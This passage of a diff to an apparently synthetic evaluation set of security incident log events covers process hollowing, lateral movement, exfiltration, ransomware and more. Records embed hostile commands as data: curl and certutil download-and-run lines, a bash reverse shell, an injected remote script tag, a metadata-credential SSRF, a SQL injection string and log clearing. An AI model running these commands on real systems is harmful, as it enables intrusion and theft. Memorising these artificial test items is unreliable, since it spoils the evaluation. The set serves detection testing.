"C:\\Windows\\System32\\svchost.exe", "StartFunction": "LoadLibraryW", "NewThreadId": 4716}-{"incident_id": "INC-EVAL-073", "template_id": "process-hollowing-svchost", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "LIN-EDGE-VPN02", "Image": "C:\\Windows\\System32\\svchost.exe", "DestinationIp": "45.142.122.111", "DestinationPort": 443, "Protocol": "tcp", "ja3": "a0e9f5d64349fb13191bc781f81f42e1"}+{"incident_id": "INC-EVAL-073", "template_id": "process-hollowing-svchost", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "LIN-EDGE-VPN02", "Image": "C:\\Windows\\System32\\svchost.exe", "DestinationIp": "203.0.113.111", "DestinationPort": 443, "Protocol": "tcp", "ja3": "a0e9f5d64349fb13191bc781f81f42e1"}{"incident_id": "INC-EVAL-073", "template_id": "process-hollowing-svchost", "event_index": 2, "source": "edr", "rule": "Cobalt Strike beacon (process hollowing)", "severity": "high", "Computer": "LIN-EDGE-VPN02", "threat_actor": "LockBit 3.0"}{"incident_id": "INC-EVAL-074", "template_id": "event-log-cleared", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 1102, "Computer": "AZURE-VM-FIN-001", "SubjectUserName": "[email protected]", "Channel": "Security", "Description": "The audit log was cleared."}{"incident_id": "INC-EVAL-074", "template_id": "event-log-cleared", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "AZURE-VM-FIN-001", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wevtutil.exe", "CommandLine": "wevtutil cl Security"}@@ -156,35 +156,35 @@{"incident_id": "INC-EVAL-083", "template_id": "pass-the-hash-lateral", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "WIN-DEVOPS-LT", "TargetUserName": "[email protected]", "LogonType": 3, "AuthenticationPackageName": "NTLM", "IpAddress": "GCP-GKE-NODE-04", "LogonProcessName": "NtLmSsp"}{"incident_id": "INC-EVAL-083", "template_id": "pass-the-hash-lateral", "event_index": 1, "source": "edr", "rule": "Pass-the-hash indicators (NTLM hash reuse)", "severity": "high", "Computer": "WIN-DEVOPS-LT", "Source": "GCP-GKE-NODE-04", "User": "[email protected]", "threat_actor": "MosaicRegressor"}{"incident_id": "INC-EVAL-084", "template_id": "rdp-lateral-movement", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "LIN-EDGE-VPN02", "TargetUserName": "[email protected]", "LogonType": 10, "IpAddress": "MAC-LEGAL-LAPTOP", "LogonProcessName": "User32", "EventTimeUTC": "03:14:00Z"}-{"incident_id": "INC-EVAL-085", "template_id": "wmi-lateral-execution", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-FILE-SHARE", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wbem\\wmic.exe", "CommandLine": "wmic /node:MAC-CFO-LAPTOP process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}+{"incident_id": "INC-EVAL-085", "template_id": "wmi-lateral-execution", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-FILE-SHARE", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wbem\\wmic.exe", "CommandLine": "wmic /node:MAC-CFO-LAPTOP process call create \"cmd /c curl http://192.0.2.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}{"incident_id": "INC-EVAL-086", "template_id": "bulk-pii-download", "event_index": 0, "source": "db_audit", "operation": "SELECT", "user": "[email protected]", "src_host": "WIN-EXCHANGE-01", "database": "prod_customers", "table": "customer_records", "rows_returned": 4200000, "bytes": 10700000000}{"incident_id": "INC-EVAL-087", "template_id": "clipboard-keylogger", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 24, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe", "Hashes": "SHA256=abc..."}{"incident_id": "INC-EVAL-087", "template_id": "clipboard-keylogger", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe", "TargetFilename": "C:\\Users\\[email protected]\\AppData\\Local\\clip.log", "User": "[email protected]"}-{"incident_id": "INC-EVAL-088", "template_id": "dns-tunnel-exfil", "event_index": 0, "source": "dns", "query_name": "aGVsbG8gd29ybGQK.exfil.185.220.101.7.in-addr.arpa", "query_type": "TXT", "src_host": "WIN-DC-SECONDARY", "dst_ip": "185.220.101.7", "response_size": 512, "qps": 240}+{"incident_id": "INC-EVAL-088", "template_id": "dns-tunnel-exfil", "event_index": 0, "source": "dns", "query_name": "aGVsbG8gd29ybGQK.exfil.198.51.100.7.in-addr.arpa", "query_type": "TXT", "src_host": "WIN-DC-SECONDARY", "dst_ip": "198.51.100.7", "response_size": 512, "qps": 240}{"incident_id": "INC-EVAL-089", "template_id": "s3-exfil-cloud-storage", "event_index": 0, "source": "cloudtrail", "eventName": "PutObject", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "sourceIPAddress": "WIN-EXCHANGE-01", "requestParameters": {"bucketName": "atk-stage-192.168.1.100", "key": "dump/customers.tar.gz"}, "resources": [{"ARN": "arn:aws:s3:::atk-stage-192.168.1.100/dump/customers.tar.gz"}]}{"incident_id": "INC-EVAL-090", "template_id": "personal-drive-exfil", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "https://www.googleapis.com/upload/drive/v3/files", "status_code": 200, "src_host": "GCP-GKE-NODE-04", "src_user": "[email protected]", "bytes_out": 4300000000, "file_count": 812}{"incident_id": "INC-EVAL-091", "template_id": "dga-c2", "event_index": 0, "source": "dns", "query_name": "qkz3pl4vnxq2.com", "query_type": "A", "src_host": "GCP-GKE-NODE-04", "rcode": "NXDOMAIN", "qps_above_baseline": 50.0}-{"incident_id": "INC-EVAL-091", "template_id": "dga-c2", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "GCP-GKE-NODE-04", "Image": "C:\\Windows\\System32\\svchost.exe", "DestinationIp": "45.142.122.111", "DestinationPort": 443, "Protocol": "tcp", "threat_actor": "Volt Typhoon"}-{"incident_id": "INC-EVAL-092", "template_id": "https-c2-beacon", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "LIN-BUILD-CI03", "DestinationIp": "91.134.231.15", "DestinationPort": 443, "Protocol": "tcp", "ja3": "a0e9f5d64349fb13191bc781f81f42e1", "interval_secs": 60, "jitter_pct": 2}+{"incident_id": "INC-EVAL-091", "template_id": "dga-c2", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "GCP-GKE-NODE-04", "Image": "C:\\Windows\\System32\\svchost.exe", "DestinationIp": "203.0.113.111", "DestinationPort": 443, "Protocol": "tcp", "threat_actor": "Volt Typhoon"}+{"incident_id": "INC-EVAL-092", "template_id": "https-c2-beacon", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "LIN-BUILD-CI03", "DestinationIp": "192.0.2.15", "DestinationPort": 443, "Protocol": "tcp", "ja3": "a0e9f5d64349fb13191bc781f81f42e1", "interval_secs": 60, "jitter_pct": 2}{"incident_id": "INC-EVAL-093", "template_id": "ransomware-encryption", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "WIN-FIN-DB01", "Image": "C:\\ProgramData\\enc.exe", "TargetFilename": "C:\\Users\\[email protected]\\Documents\\notes.docx.pwned", "User": "[email protected]", "rename_rate_per_min": 4200}{"incident_id": "INC-EVAL-093", "template_id": "ransomware-encryption", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "WIN-FIN-DB01", "Image": "C:\\ProgramData\\enc.exe", "TargetFilename": "C:\\Users\\[email protected]\\Desktop\\R3ADM3-FIN7.txt", "User": "[email protected]"}{"incident_id": "INC-EVAL-093", "template_id": "ransomware-encryption", "event_index": 2, "source": "edr", "rule": "Ransomware behaviour: high-rate file rename + ransom note", "severity": "critical", "Computer": "WIN-FIN-DB01", "threat_actor": "FIN7"}{"incident_id": "INC-EVAL-094", "template_id": "xmrig-cryptominer", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/tmp/xmrig", "a0": "xmrig", "a1": "-o", "a2": "192.168.1.100:5555", "hostname": "WIN-DC-PRIMARY", "cpu_pct": 95}{"incident_id": "INC-EVAL-095", "template_id": "bec-wire-fraud", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "Send", "UserId": "[email protected]", "ClientIP": "GCP-GKE-NODE-04", "Subject": "URGENT: Wire instructions from CFO", "From": "[email protected]", "ReplyTo": "[email protected]", "threat_actor": "APT29"}{"incident_id": "INC-EVAL-096", "template_id": "public-s3-bucket-pii", "event_index": 0, "source": "cloudtrail", "eventName": "PutBucketAcl", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "requestParameters": {"bucketName": "aisoc-employees", "AccessControlPolicy": {"Grants": [{"Grantee": "AllUsers", "Permission": "READ"}]}}}-{"incident_id": "INC-EVAL-096", "template_id": "public-s3-bucket-pii", "event_index": 1, "source": "cloudtrail", "eventName": "ListObjectsV2", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "sourceIPAddress": "91.134.231.15", "requestParameters": {"bucketName": "aisoc-employees", "max-keys": 1000}, "userIdentity": {"type": "AnonymousUser"}}+{"incident_id": "INC-EVAL-096", "template_id": "public-s3-bucket-pii", "event_index": 1, "source": "cloudtrail", "eventName": "ListObjectsV2", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "sourceIPAddress": "192.0.2.15", "requestParameters": {"bucketName": "aisoc-employees", "max-keys": 1000}, "userIdentity": {"type": "AnonymousUser"}}{"incident_id": "INC-EVAL-097", "template_id": "azure-ad-impossible-travel", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "192.168.1.100", "location": {"city": "Vladivostok", "countryOrRegion": "RU"}, "resultType": 0, "authenticationDetails": [{"authenticationMethod": "Previously satisfied", "succeeded": true}], "riskEventTypes": ["unfamiliarFeatures", "unlikelyTravel"], "riskLevelAggregated": "high"}{"incident_id": "INC-EVAL-098", "template_id": "ddos-syn-flood", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "https://WIN-HR-DESKTOP/", "status_code": 503, "pps": 1120000, "packet_type": "TCP-SYN", "edge_mitigation": "engaged", "duration_secs": 720}{"incident_id": "INC-EVAL-099", "template_id": "insider-mailbox-export", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-MailboxExportRequest", "UserId": "[email protected]", "Parameters": {"Mailbox": "[email protected]", "FilePath": "\\\\MAC-LEGAL-LAPTOP\\export\\[email protected]"}, "Bytes": 8300000000}{"incident_id": "INC-EVAL-100", "template_id": "office-vsto-addin", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 13, "Computer": "WIN-FILE-SHARE", "User": "[email protected]", "EventType": "SetValue", "TargetObject": "HKCU\\Software\\Microsoft\\Office\\Outlook\\Addins\\Aisoc.Updater", "Details": "LoadBehavior=3;Manifest=file:///C:/Users/[email protected]/AppData/Roaming/aisoc.vsto"}{"incident_id": "INC-EVAL-100", "template_id": "office-vsto-addin", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-FILE-SHARE", "Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", "DestinationIp": "10.0.99.42", "DestinationPort": 443}-{"incident_id": "INC-EVAL-101", "template_id": "github-pat-leak", "event_index": 0, "source": "github_audit", "action": "git.clone", "actor": "[email protected]", "actor_ip": "45.142.122.111", "repo_count": 14, "programmatic_access_type": "personal_access_token", "user_agent": "git/2.40.0"}+{"incident_id": "INC-EVAL-101", "template_id": "github-pat-leak", "event_index": 0, "source": "github_audit", "action": "git.clone", "actor": "[email protected]", "actor_ip": "203.0.113.111", "repo_count": 14, "programmatic_access_type": "personal_access_token", "user_agent": "git/2.40.0"}{"incident_id": "INC-EVAL-101", "template_id": "github-pat-leak", "event_index": 1, "source": "github_audit", "action": "push", "actor": "[email protected]", "repo": "[email protected]/dotfiles", "visibility": "public", "file_changed": ".env", "secret_detected": "github_pat_*"}{"incident_id": "INC-EVAL-102", "template_id": "ec2-imds-credential-theft", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-app", "status_code": 200, "src_host": "LIN-BUILD-CI03", "imds_version": "v1"}{"incident_id": "INC-EVAL-102", "template_id": "ec2-imds-credential-theft", "event_index": 1, "source": "cloudtrail", "eventName": "AssumeRole", "eventSource": "sts.amazonaws.com", "awsRegion": "us-east-1", "sourceIPAddress": "172.16.50.7", "userIdentity": {"type": "AssumedRole", "principalId": "AIDA:role-app", "arn": "arn:aws:sts::123456789012:assumed-role/role-app/i-0abc"}, "userAgent": "aws-cli/2.13"}{"incident_id": "INC-EVAL-103", "template_id": "helpdesk-password-reset-abuse", "event_index": 0, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Reset user password.", "UserId": "[email protected]", "TargetUserId": "[email protected]", "ClientIP": "10.0.0.50"}-{"incident_id": "INC-EVAL-103", "template_id": "helpdesk-password-reset-abuse", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "185.220.101.7", "resultType": 0, "seconds_after_reset": 87}-{"incident_id": "INC-EVAL-104", "template_id": "oauth-refresh-token-theft", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "91.134.231.15", "resultType": 0, "authenticationProtocol": "oAuth2", "grantType": "refresh_token", "resourceDisplayName": "Microsoft Graph"}+{"incident_id": "INC-EVAL-103", "template_id": "helpdesk-password-reset-abuse", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "198.51.100.7", "resultType": 0, "seconds_after_reset": 87}+{"incident_id": "INC-EVAL-104", "template_id": "oauth-refresh-token-theft", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "192.0.2.15", "resultType": 0, "authenticationProtocol": "oAuth2", "grantType": "refresh_token", "resourceDisplayName": "Microsoft Graph"}{"incident_id": "INC-EVAL-105", "template_id": "malicious-container-image", "event_index": 0, "source": "k8s_audit", "apiVersion": "audit.k8s.io/v1", "kind": "Event", "verb": "create", "objectRef": {"resource": "pods"}, "user": {"username": "system:serviceaccount:default:deploy"}, "requestObject": {"spec": {"containers": [{"image": "registry.local/repo:malicious-backdoor"}]}}, "node": "WIN-FILE-SHARE"}{"incident_id": "INC-EVAL-105", "template_id": "malicious-container-image", "event_index": 1, "source": "edr", "rule": "Image scan: embedded netcat reverse-shell binary", "severity": "high", "Computer": "WIN-FILE-SHARE", "image": "registry.local/repo:malicious-backdoor", "cve_layer_count": 2}{"incident_id": "INC-EVAL-106", "template_id": "outlook-auto-forward-rule", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Sync", "ForwardTo": "[email protected]", "DeleteMessage": true, "MarkAsRead": true}, "threat_actor": "MosaicRegressor"}@@ -199,7 +199,7 @@{"incident_id": "INC-EVAL-111", "template_id": "phishing-macro-email", "event_index": 2, "source": "edr", "rule": "Office macro spawned cmd.exe", "severity": "high", "Computer": "LIN-OBS-LOGGER", "User": "[email protected]", "threat_actor": "Scattered Spider"}{"incident_id": "INC-EVAL-112", "template_id": "webapp-sqli-ssrf-exploit", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "https://MAC-LEGAL-LAPTOP/search?q=' OR 1=1--", "status_code": 200, "src_ip": "198.51.100.23", "user_agent": "curl/8.4.0", "rule_match": "WAF:SQLI:1011", "cve": "CVE-2024-1234"}{"incident_id": "INC-EVAL-112", "template_id": "webapp-sqli-ssrf-exploit", "event_index": 1, "source": "web_access", "http_method": "GET", "url": "https://MAC-LEGAL-LAPTOP/proxy?u=http://169.254.169.254/latest/meta-data/", "status_code": 200, "src_ip": "198.51.100.23", "user_agent": "curl/8.4.0", "rule_match": "WAF:SSRF:2007"}-{"incident_id": "INC-EVAL-113", "template_id": "confluence-watering-hole", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "https://confluence.example.com/pages/editpage.action?pageId=8472", "status_code": 200, "src_ip": "185.220.101.7", "user_agent": "Mozilla/5.0", "payload_excerpt": "<script src=//185.220.101.7/x.js></script>"}+{"incident_id": "INC-EVAL-113", "template_id": "confluence-watering-hole", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "https://confluence.example.com/pages/editpage.action?pageId=8472", "status_code": 200, "src_ip": "198.51.100.7", "user_agent": "Mozilla/5.0", "payload_excerpt": "<script src=//198.51.100.7/x.js></script>"}{"incident_id": "INC-EVAL-113", "template_id": "confluence-watering-hole", "event_index": 1, "source": "edr", "rule": "Browser exploitation: drive-by JavaScript loader", "severity": "high", "Computer": "WIN-HR-DESKTOP", "User": "[email protected]", "threat_actor": "MagicWeb"}{"incident_id": "INC-EVAL-114", "template_id": "npm-supply-chain", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/node", "a0": "node", "a1": "/tmp/node_modules/event-stream/postinstall.js", "hostname": "WIN-DC-PRIMARY", "user": "ci-runner"}{"incident_id": "INC-EVAL-114", "template_id": "npm-supply-chain", "event_index": 1, "source": "github_audit", "action": "workflow_run.completed", "workflow": "ci.yml", "actor": "dependabot[bot]", "repository": "aisoc/web", "conclusion": "success", "package_added": "[email protected]"}@@ -207,12 +207,12 @@{"incident_id": "INC-EVAL-115", "template_id": "usb-autorun-airgap", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 6416, "Computer": "WIN-PROD-WEB02", "SubjectUserName": "[email protected]", "ClassName": "USB", "DeviceDescription": "SanDisk Cruzer 16GB"}{"incident_id": "INC-EVAL-115", "template_id": "usb-autorun-airgap", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "Image": "C:\\Python311\\python.exe", "ParentImage": "C:\\Windows\\System32\\rundll32.exe", "CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"}{"incident_id": "INC-EVAL-116", "template_id": "oauth-consent-phish", "event_index": 0, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Consent to application.", "UserId": "[email protected]", "ApplicationId": "00000003-0000-0ff1-ce00-000000000000", "ConsentedScopes": ["Mail.Read", "Files.Read.All", "offline_access"]}-{"incident_id": "INC-EVAL-116", "template_id": "oauth-consent-phish", "event_index": 1, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Auto-fwd", "ForwardTo": "[email protected]", "DeleteMessage": true}}+{"incident_id": "INC-EVAL-116", "template_id": "oauth-consent-phish", "event_index": 1, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Auto-fwd", "ForwardTo": "[email protected]", "DeleteMessage": true}}{"incident_id": "INC-EVAL-117", "template_id": "powershell-obfuscated-dropper", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-HR-DESKTOP", "User": "[email protected]", "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "ParentImage": "C:\\Windows\\explorer.exe", "CommandLine": "powershell.exe -nop -w hidden -enc JABzAD0ATgB..."}{"incident_id": "INC-EVAL-117", "template_id": "powershell-obfuscated-dropper", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4104, "Computer": "WIN-HR-DESKTOP", "User": "[email protected]", "ScriptBlockText": "$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)", "threat_actor": "MosaicRegressor"}{"incident_id": "INC-EVAL-118", "template_id": "certutil-download-cradle", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Windows\\System32\\certutil.exe", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "CommandLine": "certutil -urlcache -split -f http://198.51.100.23/p.exe %TEMP%\\p.exe"}{"incident_id": "INC-EVAL-118", "template_id": "certutil-download-cradle", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Windows\\System32\\certutil.exe", "DestinationIp": "198.51.100.23", "DestinationPort": 80, "Protocol": "tcp"}-{"incident_id": "INC-EVAL-119", "template_id": "docker-runtime-abuse", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "http://WIN-FILE-SHARE:2375/containers/create", "status_code": 201, "src_ip": "185.220.101.7", "request_body": {"Image": "monero/xmrig", "HostConfig": {"Privileged": true}}}+{"incident_id": "INC-EVAL-119", "template_id": "docker-runtime-abuse", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "http://WIN-FILE-SHARE:2375/containers/create", "status_code": 201, "src_ip": "198.51.100.7", "request_body": {"Image": "monero/xmrig", "HostConfig": {"Privileged": true}}}{"incident_id": "INC-EVAL-119", "template_id": "docker-runtime-abuse", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/docker", "a0": "docker", "a1": "run", "a2": "--privileged", "hostname": "WIN-FILE-SHARE", "user": "root"}{"incident_id": "INC-EVAL-120", "template_id": "wmi-event-subscription", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 19, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "EventNamespace": "ROOT\\Subscription", "Name": "UpdaterFilter", "Query": "SELECT * FROM __InstanceModificationEvent WITHIN 60"}{"incident_id": "INC-EVAL-120", "template_id": "wmi-event-subscription", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 21, "Computer": "WIN-PROD-WEB02", "Operation": "Created", "Name": "UpdaterConsumer", "Type": "CommandLineEventConsumer", "Destination": "powershell.exe -enc <encoded>"}@@ -223,7 +223,7 @@{"incident_id": "INC-EVAL-123", "template_id": "uefi-firmware-implant", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4673, "Computer": "WIN-PROD-WEB02", "ObjectName": "\\Device\\HarddiskVolume1\\EFI\\Microsoft\\Boot\\bootmgfw.efi", "ProcessName": "C:\\Windows\\System32\\driver_signing.exe"}{"incident_id": "INC-EVAL-123", "template_id": "uefi-firmware-implant", "event_index": 1, "source": "edr", "rule": "UEFI implant: MosaicRegressor signature match", "severity": "critical", "Computer": "WIN-PROD-WEB02", "indicator_path": "ESP:/EFI/Boot/bootx64.efi"}{"incident_id": "INC-EVAL-124", "template_id": "cron-backdoor", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "openat", "exe": "/usr/bin/vi", "path": "/etc/cron.d/zz-update", "hostname": "MAC-LEGAL-LAPTOP", "user": "[email protected]", "a2": "O_WRONLY|O_CREAT"}-{"incident_id": "INC-EVAL-124", "template_id": "cron-backdoor", "event_index": 1, "source": "linux_journald", "_SYSTEMD_UNIT": "cron.service", "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/91.134.231.15/4444 0>&1)", "hostname": "MAC-LEGAL-LAPTOP"}+{"incident_id": "INC-EVAL-124", "template_id": "cron-backdoor", "event_index": 1, "source": "linux_journald", "_SYSTEMD_UNIT": "cron.service", "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/192.0.2.15/4444 0>&1)", "hostname": "MAC-LEGAL-LAPTOP"}{"incident_id": "INC-EVAL-125", "template_id": "uac-bypass-fodhelper", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 13, "Computer": "WIN-EXCHANGE-01", "User": "[email protected]", "EventType": "SetValue", "TargetObject": "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command", "Details": "C:\\Windows\\System32\\cmd.exe /c whoami"}{"incident_id": "INC-EVAL-125", "template_id": "uac-bypass-fodhelper", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-EXCHANGE-01", "Image": "C:\\Windows\\System32\\fodhelper.exe", "ParentImage": "C:\\Windows\\explorer.exe", "IntegrityLevel": "High", "User": "SYSTEM"}{"incident_id": "INC-EVAL-126", "template_id": "k8s-privileged-pod-escape", "event_index": 0, "source": "k8s_audit", "apiVersion": "audit.k8s.io/v1", "kind": "Event", "verb": "create", "objectRef": {"resource": "pods"}, "user": {"username": "[email protected]"}, "requestObject": {"spec": {"containers": [{"name": "x", "image": "alpine", "securityContext": {"privileged": true}}], "hostPID": true}}, "stage": "ResponseComplete", "responseStatus": {"code": 201}, "node": "GCP-GKE-NODE-04"}@@ -231,7 +231,7 @@{"incident_id": "INC-EVAL-127", "template_id": "linux-suid-abuse", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "chmod", "exe": "/bin/chmod", "a1": "/tmp/.x", "mode": "04755", "hostname": "WIN-DEVOPS-LT", "user": "[email protected]"}{"incident_id": "INC-EVAL-127", "template_id": "linux-suid-abuse", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/tmp/.x", "hostname": "WIN-DEVOPS-LT", "uid": 1001, "euid": 0, "user": "[email protected]"}{"incident_id": "INC-EVAL-128", "template_id": "process-hollowing-svchost", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 8, "Computer": "GCP-GKE-NODE-04", "SourceImage": "C:\\Windows\\System32\\powershell.exe", "TargetImage": "C:\\Windows\\System32\\svchost.exe", "StartFunction": "LoadLibraryW", "NewThreadId": 4716}-{"incident_id": "INC-EVAL-128", "template_id": "process-hollowing-svchost", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "GCP-GKE-NODE-04", "Image": "C:\\Windows\\System32\\svchost.exe", "DestinationIp": "91.134.231.15", "DestinationPort": 443, "Protocol": "tcp", "ja3": "a0e9f5d64349fb13191bc781f81f42e1"}+{"incident_id": "INC-EVAL-128", "template_id": "process-hollowing-svchost", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "GCP-GKE-NODE-04", "Image": "C:\\Windows\\System32\\svchost.exe", "DestinationIp": "192.0.2.15", "DestinationPort": 443, "Protocol": "tcp", "ja3": "a0e9f5d64349fb13191bc781f81f42e1"}{"incident_id": "INC-EVAL-128", "template_id": "process-hollowing-svchost", "event_index": 2, "source": "edr", "rule": "Cobalt Strike beacon (process hollowing)", "severity": "high", "Computer": "GCP-GKE-NODE-04", "threat_actor": "ALPHV/BlackCat"}{"incident_id": "INC-EVAL-129", "template_id": "event-log-cleared", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 1102, "Computer": "MAC-CFO-LAPTOP", "SubjectUserName": "[email protected]", "Channel": "Security", "Description": "The audit log was cleared."}{"incident_id": "INC-EVAL-129", "template_id": "event-log-cleared", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": 